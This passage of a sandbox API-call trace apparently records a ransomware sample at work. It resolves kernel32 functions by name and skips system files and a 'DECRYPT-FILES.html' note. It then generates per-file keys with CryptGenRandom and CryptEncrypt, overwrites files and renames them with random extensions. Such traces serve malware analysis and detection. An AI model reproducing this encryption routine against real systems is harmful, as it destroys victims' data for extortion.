lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0126.175] lstrlenA (lpString="CREATEJOBSET") returned 12 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0126.175] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0126.175] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0126.175] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0126.175] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0126.175] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0126.175] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0126.175] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0126.175] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0126.175] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0126.176] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0126.176] lstrlenA (lpString="CREATEPIPE") returned 10 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0126.176] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0126.176] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0126.176] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0126.176] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0126.176] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0126.176] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0126.176] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0126.176] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0126.176] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0126.176] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0126.176] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0126.176] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0126.176] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0126.176] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0126.176] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0126.176] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0126.177] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0126.177] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0126.177] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0126.177] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0126.177] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0126.177] lstrlenA (lpString="CREATETHREAD") returned 12 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0126.177] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0126.177] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0126.177] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0126.177] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0126.177] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0126.177] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0126.177] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0126.177] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0126.178] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\eula.rtf.0DIMt") returned 41 [0126.178] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.0DIMt" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.0dimt"), dwFlags=0x0) returned 1 [0126.178] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.179] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.179] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.179] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0126.179] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0126.180] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0126.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\") returned 27 [0126.180] lstrlenW (lpString="LocalizedData.xml") returned 17 [0126.180] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1040\\" | out: lpString1="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0126.180] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" [0126.180] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0126.180] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0126.180] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=80060) returned 1 [0126.181] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0126.181] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0126.604] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0126.604] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0126.604] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0126.605] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0126.605] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0126.663] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.664] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0126.664] CloseHandle (hObject=0x5f8) returned 1 [0126.664] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.664] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0126.665] CloseHandle (hObject=0x0) returned 0 [0126.665] CloseHandle (hObject=0x5f4) returned 1 [0126.667] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.668] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.668] GetTickCount () returned 0x350f0 [0126.668] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0126.668] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0126.668] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0126.669] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0126.669] lstrlenA (lpString="kernel32.dll") returned 12 [0126.669] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0126.669] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0126.669] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0126.669] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0126.669] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0126.669] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0126.669] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0126.669] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0126.669] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0126.669] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0126.669] lstrlenA (lpString="ADDATOMA") returned 8 [0126.669] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0126.669] lstrlenA (lpString="ADDATOMW") returned 8 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0126.670] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0126.670] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0126.670] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0126.670] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0126.670] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0126.670] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0126.670] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0126.670] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0126.670] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0126.670] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0126.670] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0126.670] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0126.670] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0126.670] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0126.670] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0126.670] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0126.670] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0126.671] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0126.671] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0126.671] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0126.671] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0126.671] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0126.671] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0126.671] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0126.671] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0126.671] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0126.671] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0126.671] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0126.671] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0126.671] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0126.671] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0126.671] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0126.671] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0126.671] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0126.672] lstrlenA (lpString="BACKUPREAD") returned 10 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0126.672] lstrlenA (lpString="BACKUPSEEK") returned 10 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0126.672] lstrlenA (lpString="BACKUPWRITE") returned 11 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0126.672] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0126.672] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0126.672] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0126.672] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0126.672] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0126.672] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0126.672] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0126.672] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0126.672] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0126.672] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0126.672] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0126.672] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0126.672] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0126.672] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0126.673] 